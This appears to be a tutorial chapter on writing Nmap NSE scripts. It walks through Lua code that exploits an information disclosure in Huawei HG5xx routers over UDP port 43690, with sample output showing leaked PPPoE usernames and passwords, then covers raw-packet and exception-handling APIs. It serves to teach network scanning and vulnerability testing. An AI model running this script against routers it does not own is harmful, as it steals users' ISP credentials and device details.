The Nmap Scripting Engine offers a robust library for handling networking I/O operations by providing an interface to Nsock. Nsock is Nmap's optimized parallel sockets library, and its flexibility allows developers to handle raw packets and decide whether to use blocking or non-blocking network I/O operations.
This recipe will go through the process of writing an NSE script that reads a payload from a file and sends a UDP packet to exploit a vulnerability in Huawei HG5xx routers.
Huawei HG5xx routers reveal sensitive information when they receive a special packet to UDP port 43690. This vulnerability caught my attention because this is a very popular device, works remotely, and obtains interesting information such as the PPPoE credentials, MAC address, and exact software/firmware version. Let's write a script to exploit these devices:
huawei-hg5xx-udpinfo.nse
and define the information tags:description=[[ Tries to obtain the PPPoE credentials, MAC address, firmware version and IP information of the aDSL modemsHuawei Echolife 520, 520b, 530 and possibly others by exploiting an information disclosure vulnerability via UDP. The script works by sending a crafted UDP packet to port 43690 and then parsing the response that containsthe configuration values. This exploit has been reported to be blocked in some ISPs, in those cases the exploit seems to work fine in local networks. Vulnerability discovered by Pedro Joaquin. No CVE assigned. References: * http://www.hakim.ws/huawei/HG520_udpinfo.tar.gz * http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-information-disclosure ]]
local "stdnse" = require "stdnse" local "io" = require "io" local "shortport" = require "shortport"
portrule = shortport.portnumber(43690, "udp", {"open", "open|filtered","filtered"})
load_udp_payload = function() local payload_l = nmap.fetchfile(PAYLOAD_LOCATION) if (not(payload_l)) then stdnse.print_debug(1, "%s:Couldn't locate payload %s", SCRIPT_NAME, PAYLOAD_LOCATION) return end local payload_h = io.open(payload_l, "rb") local payload = payload_h:read("*a") if (not(payload)) then stdnse.print_debug(1, "%s:Couldn't load payload %s", SCRIPT_NAME, payload_l) if nmap.verbosity()>=2 then return "[Error] Couldn't load payload" end return end payload_h:flush() payload_h:close() return payload end
send_udp_payload = function(ip, timeout, payload) local data stdnse.print_debug(2, "%s:Sending UDP payload", SCRIPT_NAME) local socket = nmap.new_socket("udp") socket:set_timeout(tonumber(timeout)) local status = socket:connect(ip, HUAWEI_UDP_PORT, "udp") if (not(status)) then return end status = socket:send(payload) if (not(status)) then return end status, data = socket:receive() if (not(status)) then socket:close() return end socket:close() return data end
action = function(host, port) local timeout = stdnse.get_script_args(SCRIPT_NAME..".timeout") or 3000 local payload = load_udp_payload() local response = send_udp_payload(host.ip, timeout, payload) if response then return parse_resp(response) end end
# nmap -sU -p43690 --script huawei-hg5xx-udpinfo <target>
A vulnerable device will return the following output:
PORT STATE SERVICE REASON -- 43690/udp open|filtered unknown no-response -- |_huawei5xx-udp-info: |x10||||||||<Firmware version>|||||||||||||||||||||||||||||||<MAC addr>|||<Software version>||||||||||||||||||||||||||||||||||||||||||||| <local ip>|||||||||||||||||||<remote ip>||||||||||||||||||<model>|||||||||||||||<pppoe user>|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||<pppoe password>
Our script huawei-hg5xx-udpinfo
defined the execution rule with the alias shortport.portnumber(ports, protos, states)
. Our script will run if UDP port 43690 is either open
, open|filtered
or filtered
:
portrule = shortport.portnumber(43690, "udp", {"open", "open|filtered","filtered"})
You can read NSE arguments in a few different ways, but the recommended function is stdnse.get_script_args()
. This allows multiple assignments and supports shorthand assignment (you don't have to type the script name before the argument name):
local timeout = stdnse.get_script_args(SCRIPT_NAME..".timeout") or 3000
NSE sockets are managed by the nmap
library. To create an NSE socket, use the function nmap.new_socket()
and to connect to this socket, use connect()
:
local socket = nmap.new_socket("udp") socket:set_timeout(tonumber(timeout)) local status = socket:connect(ip, HUAWEI_UDP_PORT, "udp")
We send our UDP payload as follows:
status = socket:send(payload)
We read the response from the NSE socket:
status, data = socket:receive()
As always, we need to close the sockets when we are done by using the function close()
:
local socket = nmap.net_socket("udp") … socket:close()
Now we can process the received data. In this case I will replace the null characters for an output that is easier to read:
return data:gsub("%z", "|")
You can download the complete script from https://github.com/cldrn/nmap-nse-scripts/blob/master/scripts/6.x/huawei5xx-udp-info.nse.
The script huawei-hg5xx-udpinfo
uses a standard connect-style in which a socket is created, the connection is established, data is sent and/or received, and the connection is closed.
If you need more control, the nmap
library also supports reading and writing raw packets. The scripting engine uses a libpcap
wrapper through Nsock to read raw packets, and can send them at either the Ethernet or IP layer.
When reading raw packets you will need to open the capture device and register a listener that will process the packets as they arrive. The functions pcap_open()
, pcap_receive()
, and pcap_close()
correspond to opening a capture device, receiving packets, and closing the listener. I recommend that you look at the scripts sniffer-detect
(http://nmap.org/nsedoc/scripts/sniffer-detect.html), firewalk
(http://nmap.org/svn/scripts/firewalk.nse), and ipidseq
(http://nmap.org/svn/scripts/ipidseq.nse).
If you need to send raw packets, create a dnet
object with nmap.new_dnet()
and, depending on the layer, (IP or Ethernet), use the methods ip_open()
or ethernet_open()
to open a connection. To actually send the raw packets, use the functions ip_send()
or ethernet_send()
as appropriate. The following snippets from the script ipidseq.nse
illustrate the procedure:
local genericpkt = function(host, port) local pkt = bin.pack("H", "4500 002c 55d1 0000 8006 0000 0000 0000" .. "0000 0000 0000 0000 0000 0000 0000 0000" .. "6002 0c00 0000 0000 0204 05b4" ) local tcp = packet.Packet:new(pkt, pkt:len()) tcp:ip_set_bin_src(host.bin_ip_src) tcp:ip_set_bin_dst(host.bin_ip) tcp:tcp_set_dport(port) updatepkt(tcp) return tcp end ... local sock = nmap.new_dnet() try(sock:ip_open()) try(sock:ip_send(tcp.buf)) sock:ip_close()
I encourage you to read the entire documentation of these libraries at http://nmap.org/nsedoc/lib/nmap.html. If you are working with raw packets, the library packet
will help you a lot too (http://nmap.org/nsedoc/lib/packet.html).
The library nmap
provides an exception handling mechanism for NSE scripts that is designed to help with networking I/O tasks.
The exception handling mechanism from the nmap
library works as expected. We wrap the code that we want to monitor for exceptions inside a nmap.try()
call. The first value returned by the function indicates the completion status. If it returns false
or nil
, the second returned value must be an error string. The rest of the return values in a successful execution can be set and used as you wish. The catch function defined by nmap.new_try()
will execute when an exception is raised.
The following example code is a snippet of the script mysql-vuln-cve2012-2122.nse
(http://nmap.org/nsedoc/scripts/mysql-vuln-cve2012-2122.html). In this script, a catch function performs some simple garbage collection if a socket is left open:
local catch = function() socket:close() end local try = nmap.new_try(catch) … try( socket:connect(host, port) ) response = try( mysql.receiveGreeting(socket) )
The official documentation of the NSE library nmap
can be found at http://nmap.org/nsedoc/lib/nmap.html.
18.118.37.254